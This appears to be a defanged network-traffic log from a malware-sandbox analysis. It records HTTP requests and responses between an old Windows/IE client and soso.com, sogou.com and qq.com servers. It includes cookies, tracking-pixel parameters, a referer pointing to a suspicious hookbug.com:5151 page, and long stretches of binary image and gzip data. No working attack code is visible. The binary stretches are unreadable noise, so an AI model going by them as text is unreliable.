User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:19:24 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:23 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: SUID=26266BB86914920A0000000053B9B257; expires=Sat, 01-Jul-34 20:32:23 GMT; domain=.soso.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Sun, 06 Jul 2014 20:32:23 GMT
Cache-Control: max-age=0
Content-Encoding: gzip
b2a.............Y[o$G.~v....r.g....{.......F..dw.(.......=]..j...<...H!..D....)..M$. .$.&.....s..6..m.U}..;.N.......g/o_.......>....O.Gj..o.<..s..H.....8..m.*.*..Q.)q.j@.?TMd..w....A....%M........n.../n......s.i.....u..k[.#...T5.\.\...S|...L|...N...Y.&..Ds......AF\.#.%.V.{=".x<...:...*I.H. .8h..AR`...D..e<n..F..9..<..]...1.}...S..\...K.[.....4... c.B.a(C.......g(...q Bn,"7"..})...8.~..{~,..t.......k..!Ql$..AX,.8..0.......N.J$.o.A..llvg...!.m|.....j._..{e,.[......../...\.QZ.P..FV..J.........Qm-.LS......... .....(s.#<.S.Y.I:.h..$...R..C.Ad.'O$Q..!"..XN ..J.3.,*.............9R)9..... ..F....~9....d..,.k...D.m......'..N..F...V)(......!.nUrQ.....a...$%".....,.(>.v..Nv........^n....d)........D..#.....v.K.Cm..3O..0.|..s.ge.Yhbz.T 2U....%.............Yy& r|..e.V2b..\...A.z..u....Y.sTx.pAIV.e.]..i....LdS..........aG._.o..G.)S..1.k..1RV......B...2r.8A.#).. ....6Z%.Z.Z[......._le.`...d4.G..VR.K... Fw,.(.A.....}....g.ny.>.|g...C..&k*5....Z.@..pY...1D0.9:..x..... ..V........d....j.&..2Mxv&.x......z.Awr. \t1..!.N..5..#......p.,g.......C....j.....dj_......J.....D..9;....M[..Qp.....V......>....3M[..f...5.a..6*/..|:...?S.y=.....e..S....}..Z......*...F...N.p...."...8..7..:.G/[..3.7.0.SY3.".$#C.g.`..........N"Z]...$.u..P..m..o.%=......$..3]..L.]..<...F.f.8..;...~.1..=}.Kcq.jK.R...~....k..;_........f..Wn .=....H....r.t.|8.8.v..F...]9.../..w..,.nf....n.|......7..J?.........5.P..O~}./.?..q....e...............W:wV'.3.&<....ej.mn..\Cn.~p.^.......0.. b..0.....-%.......o.|.8A..$)c......,.........>.
<<
<<< skipped >>>
GET /soso/images/logo_index.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:23 GMT
Content-Type: image/png
Content-Length: 5020
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:19:23 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:23 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "53a1adfb-139c"
Expires: Tue, 05 Aug 2014 20:32:23 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
.PNG........IHDR.......1.....6.F.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:BA474413854011E2AD0991326E52ED8A" xmpMM:DocumentID="xmp.did:BA474414854011E2AD0991326E52ED8A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BA474411854011E2AD0991326E52ED8A" stRef:documentID="xmp.did:BA474412854011E2AD0991326E52ED8A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>c..{....PLTE...{{|....... ,......QQSFFI.....d.....n..2....tt...ggh:..K......OOZZ\...........w......B..E....0........L.....4.22...........Z........3........2........R..W.........^....N..............g...........]........PTTV]]_LLM..a........3....................2..S.....g..@.98..........AA..C......................78......^`b..........@?prsVVY.....i.........q..~.K..j..............ROOP.33.aa..=......G....IDATx....C.....>(..h-.. ..y*..y.ik......A*..R.9.....>.Iv..|........:3;.D....._Gy.I.\.......\..=.@ .....x@&..?..........._.5....7/.....//N..J.ooo..G.#...6d.W...h..\..\T......o..M=..*T^.v;m..
<<
<<< skipped >>>
GET /js/sugg_ajaj_soso.v.1.0.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:25 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:23:35 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:25 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Tue, 05 Aug 2014 20:32:25 GMT
Cache-Control: max-age=2592000
Content-Encoding: gzip
11b3...............V...W........n.....R(..h..-7g.....c.?x4....I..<...mj.F..h..WD.<...,.....}................yE.xx.F.f.$....G'..'$r......]d,.>..v...........f.";...WO....q.R......Af~%.t>...)...n.| n<*.@..#......\ ..f..0J.<p..P..E3.....o.y.>..f..P..n1.....&...8.O.g..e.8. ...S....e..I.e.g..fN......K..L..`.1......3....3.au.:D..H......N.c...o.=....G...fvqj..w......}.%.yK......I...9..04.C..&e&....2/.l..?.0.Gp.&.E.s.I.'.K>.|...!.=\.I.H...:...D...z.........B=.............V....b....N}X........./..P.....E/uX...H.........".{9sajQc~..&...wE.r......?..^..,b.....kM.....<wFc..kq..8.E..5....%.{.z..L7.:S...r{.L.f..X...;....E..... ..bV..@.6......!./]kQW....i.<O.....V.......fj.E.g.I].\..,.......(.&q.'..aj..3..8..........`.`.....eD..t.N.l..'h....k]...<...J.X..[Dk%w'..n.;............9N.1\O}...#Z..b,.f.H.(WQ...7T.R.._.5......*..&.H.H.k . ..No.;].1.../8..........tT........tD`.}.D:.Q..?ua.`X7.1....E..4..%.6...p....(@.=...l?.......M{.../.)k.q/~b.........E.^X.S./....4q.>..@d....Y..h........".A.....T<.P.....Mcp..N"..X.'.E...........g........w..;*.M...u...aC.].............u.-.n.`...Y.&C..8k-O<.n>...r..-.._Q.U.H...4.d.>f.?.I..r.....@Q.@q...pavT_..t\J."C.?.j.Xx.....!...t..m.3=8.M..r.'`..X.Uq}Q......R......Q..`.. 8.<.i..9...^G......J...yv../_..}"DF.G.!.........!..w.....B....G....=tm.7....B.J.a.../..!.'c.I.Cu.A9.....!.Z.a._$.............X.4~dG`..N..!.X\@v.........k.(...M..wE.-..,r...A..1.D...s.N.]..N).!_..!.....$C4.8.l...$,rk6.u. sN.0.<v>W..':....m... P.x.<.5.:.>Y.X,...IfF..j!."H_.
<<
<<< skipped >>>
GET /qconn/wpa/button/button_10.gif HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hookbug.com:5151/qq.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Connection: Keep-Alive
Host: pub.idqqimg.com
HTTP/1.1 200 OK
Server: NWS_UGC_HY
Connection: keep-alive
Date: Sun, 06 Jul 2014 20:32:23 GMT
Cache-Control: max-age=2592000
Expires: Tue, 05 Aug 2014 20:32:23 GMT
Last-Modified: Mon, 08 Apr 2013 03:15:19 GMT
Content-Type: image/gif
Content-Length: 2997
X-Cache-Lookup: Hit From Disktank
GIF89aM..........me.{l...............`u.jmt......n..sv|.i].c\.....n...?Xf......nqy~...rf..qSiv.......................t...............y|....@Yg.~t.....kv..efm.....................Nes......cdn)FVz.....s.......WQTV._\.i`......'EUdx.`bl*GW^t.dejcdj^`h......<Ve...............;Ud.........=We|..................2E............................................................>Wf.........w..(EV...............r...............................................[r........................V.mh......w{..~m.._......iei..~..s.qh.pn..U.....^...............udh.................................gini....x..~...........X......ebk..q.......ub.zh.......WX.......fa.ib.ed..p..w..q..e...sv....ty...[.....U.sj..j..v.mkhjs............sqv........^..k........a.k]...kn{..........................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:E41382F2429BE211A018AF641D24CE9C" xmpMM:DocumentID="xmp.did:8AF3F4679FFA11E2AFECC3046E5C8B96" xmpMM:InstanceID="xmp.iid:8AF3F4669FFA11E2AFECC3046E5C8B96" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:25F0FBA9669BE211A0
<<
<<< skipped >>>
GET /pv.gif?uigs_productid=web&uigs_t=1404660989708240&uigs_cookie=SUID=26266BB86914920A0000000053B9B257&uigs_uuid=1404660989708379&scrnwi=1024&scrnhi=768&uigs_pbtag=A&abtestid=0&query=%C2%BE%C2%A2%C3%8E%C3%A8%C3%90%C2%A6%C3%90%C2%A6&rn=25687&stype=2&htn=1&qcn=0&hbn=0&uuid=6be69b4a-b962-42eb-8324-0d6d8e367010&vr=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&exp_id=null_0-null_1-null_2-null_3-null_4-null_5-null_6-null_7-null_8-null_9&exp_id_list=0_0&exp_status=0&vrdetail=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&sm=d0_0-d0_1-d0_2-d0_3-d0_4-d0_5-d0_6-d0_7-d0_8-d0_9&msrc=sm&loc=CA&adn=0&adltbn=null&adltan=0&radn=0&qflag=0&qtype=0&warnLevel=127&leadtest=-1&eg=1&cost=116&bl=-1_127_0_0&pid=sogou-wsse-142c65e00f4f7cf2&qjf=sogou-wsse-142c65e00f4f7cf2&servuri=%2Fwebsearch%2Fsoso.jsp&rw=&idc=cnc&pn=10&jhhint=0&jhshuxing=0&intcat=web&inttab=61-0_40-1_28-2_41-3_39-4_43-5_9-6_29-7_30-8_45-9_62-10_&jhly=top&jhlysite=all-0_sohu.com-1_focus.cn-2_docin.com-3_&legalad=1&googlead=0&uigs_version=v1.1&uigs_refer=http://VVV.soso.com/ HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: pb.sogou.com
Connection: Keep-Alive
Cook
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:30 GMT
Content-Type: text/xml
Content-Length: 0
Connection: keep-alive
Set-Cookie: SUV=007111CEB86B262653B9B25EE700A038; expires=Wed, 03-Jul-24 20:32:30 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
....
GET /pv.gif?uigs_productid=webapp&type=tmon&uuid=6be69b4a-b962-42eb-8324-0d6d8e367010&loc=CA&abtestid=0&query=%C2%BE%C2%A2%C3%8E%C3%A8%C3%90%C2%A6%C3%90%C2%A6&eg=1&cost=116&idc=cnc&vr=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&h_s=1404660985943&h_e=1404660986568&b_e=1404660988755&a_e=1404660990302&w_l=1404660990333 HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: pb.sogou.com
Connection: Keep-Alive
Cookie: IPLOC=CA; SUID=26266BB86914920A0000000053B9B257; SUV=007111CEB86B262653B9B25EE700A038
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:30 GMT
Content-Type: text/xml
Content-Length: 0
Connection: keep-alive
GET /pa?p=2:1848168177:41 &r=0.6772223338484764 HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hookbug.com:5151/qq.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: wpa.qq.com
Connection: Keep-Alive
HTTP/1.1 301 Moved Permanently
Server: tws
Date: Sun, 06 Jul 2014 20:32:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Location: hXXp://pub.idqqimg.com/qconn/wpa/button/button_10.gif
Pragma: no-cache
Cache-Control: no-cache; must-revalidate
0..
GET /net/a/04/link?&url=http://VVV.pvc123.com/skin/pvc/image/company.jpg&appid=100520072&referer=hXXp://VVV.pvc123.com/b-p765576731/ HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img02.store.sogou.com
Connection: Keep-Alive
Cookie: IPLOC=CA; SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:29 GMT
Content-Type: image/jpeg
Content-Length: 4669
Connection: keep-alive
X-Powered-By: PHP/5.3.3
ETag: 355492bcc18e8674a0bc7cd191018b4e
Expires: Tue, 05 Aug 2014 15:39:13 GMT
Cache-Control: max-age=2592000
Last-Modified: Sun, 06 Jul 2014 15:39:13 GMT
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 95....C....................................................................C.......................................................................x.x.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?........L.I@...H.To:.2...\.M.\.h...v...?...;...............QMV$..uP..(...(...(...(..l.......... .W...2..6#..9...z..6..y..,a.H.....h.f.A.C......a..."..u.}........s...&.._V4....W..".o......&..`kCE...w.h.:.h......q....&.C.)...].y.....8.5#.yR......Z.\.....4r..".......F.,.&..sq$..-A.2}6......s_.....0p....>Z.7J...-.Q].AE.P.E.P.E.P.6_..j...]M@...<'e....^..."..Z. r......../~*......o....d.......,.yY..V.?. .ze.ww...?...........?..R....3S.b..>G.m..{..}......s.UiMB.6..k.....r...#..}..h........q....|Q.X..N.RK..%.A. .wn....O.=..A%..r.....O......b........>.....W.]'.'.G.mt.;W...m...?.fO...pX.2O....X\.aW...2..v....n..bq8jxg:J....}..2|8..U..K......[O....9....!..5.y.......4....x.K.v.)m......u......}....\._.............6P..A8........I...F.P.....g....4..z....(......?j...J.....Kr..1y....2F.~..i..~.j.Kmq...I...Awv...pp.dq].l./.F2.E. .....E.h...#.....q|
<<
<<< skipped >>>
GET /images/btn_del.gif HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:27 GMT
Content-Type: image/gif
Content-Length: 1286
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:22:42 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:27 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "53a1aec2-506"
Expires: Tue, 05 Aug 2014 20:32:27 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
GIF89a.......................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:0DC89FA742CA11E3911B860E70DCA297" xmpMM:DocumentID="xmp.did:0DC89FA842CA11E3911B860E70DCA297"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0DC89FA542CA11E3911B860E70DCA297" stRef:documentID="xmp.did:0DC89FA642CA11E3911B860E70DCA297"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,..........g.$JL.L..0c..0......0..=30C`.Z.......,.....k8.LG.v.Y#.mlp.........Q..L.n|.S .@.N...I.<=2#6.94.>4"%'.q,#!.;....
<<
<<< skipped >>>
GET /images/ico_src.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:27 GMT
Content-Type: image/png
Content-Length: 8524
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:22:42 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:27 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "53a1aec2-214c"
Expires: Tue, 05 Aug 2014 20:32:27 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
.PNG........IHDR...Y...t......9.G....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V
<<
<<< skipped >>>
GET /js/jquery-1.6.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:28 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:23:35 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:28 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Tue, 05 Aug 2014 20:32:28 GMT
Cache-Control: max-age=2592000
Content-Encoding: gzip
984......................<..h.......L.6..% r.e;..'.M..F...d.%7..e.e.l..VU...[J...'j..._.......?Z.[................[...6.....? .t.......2v...G...l...-&.}.....j.e=].~.w.._......H....Z7.,........7.......o.=.........uO.\o'=.Y...*].d.......E....R;N..LGOz....|=[.^..S..:.l?..<>..j}...j...;...M.c.... ....#..........7.:.........?.Y.h..U....Vz....6..lW.q...R..5..q.wW.,..q.GQ..A...q|.....o.......j/%.....u.Z...N..x......$......;.S/...M....}/Yg..@eQ.Mw;....f.SR?.n...}..}.,.^x..*...~....8.....n..i..].K.....m........7.-MkD..E...a.cU....E't..M.EF.r..tv8.)s.. .E>........Ly.No8c7.O*.uo..>.IhS......t.\<.B.O.z...0...T........fo....r...d.....(Qv.......d.`......w.8.....K.=.^|..#EI;........1Z..~Z.FQ|......-....IzGI.|..X.....n.EYtM.[......*..~4.w........}....YN..{U...n=.w.....o......=...xt*.7U.2t.........._i.....F.._..}.=;...M.S%.8JA...fQ..S9.....*....W..T..<...#.PK.Rk....[..].'WE.......I...e.*V.kZ........c.qkJge.....G}....~...6.>#x...JN..t.....[..p..8l..`.-..b..(m....3<...e..x-.3W.(..G.C>..#..h...M.....g....u.vjA......h....p.Oh......r$.su..nM...ZS...`.m..?..W..N......k......3...-5...n.p.....%...SB...2....~M}.....L..`..A..........N.a7.L.O...p.S..zO.m..6k../.|....Xr...34..'C.........A...r.....ww.b...E .%T`J./.$.5.K.I..Y7.2.......9.....:.l.y@.95wv...=...N..{....3....A_.Y.G.%w..Lp...m8{..5....C.k..P.G..f.A_naF.i-..Ki:1.0"..F.../@1Y.t.P...m...o..ZR..D.~L......._F.. D=.o.u|}...zk./...j.`....:..S9.K....vzv.....bqv. J..x.y.`...6.su.0.q.R_.....?e.Q.c5.%..Xs...C&..p....G.....&.7.9.j.M.S.x..:.16.k..../.f..hU...(.x.
<<
<<< skipped >>>
GET /js/pb_v.min.1.9.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:29 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:23:35 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:29 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Tue, 05 Aug 2014 20:32:29 GMT
Cache-Control: max-age=2592000
Content-Encoding: gzip
6f8..............ko.6..........0.V.C~..5].&....,.6WY.(.i....H..d.N.... &..{...f..i.5.......kD...Cc.q....7tALd......3..K~i_{|n.8..3_zQ./L$..r.(..A.g..q...wJl.....S..z.'6.i..2.#...~.p. .O..#....k.Y.w..........o.N.'...7C..z4.i<.3.....rP.....a..?&$.6.....)g4......!.f|~..?0..ytJ..F.|l.9Oz''.. (63:.KJGm..6.<.....`dJ.#.m.e4.h..u.sBgs...?...%qJ..z.$......I....8:3P....A..d..S.#4... .K.yK:.x..,%......_.....;.f...:....$.......bC.......<.C.e.{.......c.........../..&6 N..F$.7o..%n......b.i.Rn....i.L..Qc...........C..2.ac...F....6.uu.z.v.F.h..BkeE..q@n.\..E.G..0...?C.O<...x.X...LX.d@9..an3.=.r..........XN.d.kt.i.....v@...~U.m..-....5...8....X....]....'*2.~.2......X.."*(.....D.).7.o.....S$...d.UF.N...K.Rp..^m....D^.\........T1W<....je.M,VkVNs.p.d.jt......j......[..\.....a..R.=r....d....q...[P.LTv.X...j..t....z:z.mp.......X%.-........t...g ...YC...........4.9..J..D|m......&}.......1.6....?x=......;bX..a....#.)...x.$...*o.f~x.b.Z5@0...2.......qH.O..'q.....TC>...K..".."...{.....3.^.Kr.PpW..Gq..k.`V...y......H..B(@..........!...!..!..v.I.\.2...._........{-S....>,).z.P.S9.:...5.....: WA.9.6.{..qU.o.......R2x...3.R....WL......b.0...Q..O*..S..]..`:.....f.../..u..T..........e.l.b!.Q7BV....*9.....:w....R./.=N.Fm]Hdm..e.)'D.q.i...I...k....#@K..c..v.@........{.....m.^.(....~..."...&..>o9..Y..j.,.!}s..t.......2.vT..^x..*.j..@.w...i.U..S..5;..T 